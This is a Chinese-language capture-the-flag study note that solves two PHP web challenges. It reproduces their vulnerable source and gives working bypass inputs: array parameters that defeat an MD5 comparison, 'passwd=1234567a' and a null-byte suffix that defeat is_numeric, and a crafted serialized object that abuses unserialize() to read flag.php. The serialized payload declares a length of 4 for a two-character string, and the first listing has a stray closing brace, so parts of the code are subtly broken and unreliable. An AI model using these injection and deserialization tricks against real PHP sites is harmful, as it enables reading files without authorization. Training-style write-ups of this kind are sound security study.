BUUCTF刷题笔记（十三）

§ [MRCTF2020]Ez_bypass

§ [网鼎杯 2020 青龙组]AreUSerialz

[MRCTF2020]Ez_bypass

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

数组绕过强类型比较

?id[]=0&gg[]=1

字符串或 %00 绕过 is_numeric()

passwd=1234567a

passwd=1234567%00

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid 方法限制字符的ASCII码为32-125，确保为可打印字符，而 protected 属性序列化后在变量名前添加标记\00*\00，\00对应空字符（null）

PHP版本7.1+对属性的类型不敏感，可用 public 属性替换 protected 属性

__destruct 方法需绕过强类型比较 使用 op=" 2" 或 op=2 绕过

<?php
 
class FileHandler {
 
    public $op = " 2";
    public  $filename = "flag.php";
    public  $content = "";
}

echo serialize(new FileHandler());
 
?>

?str=O:11:"FileHandler":3:{s:2:"op";s:4:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}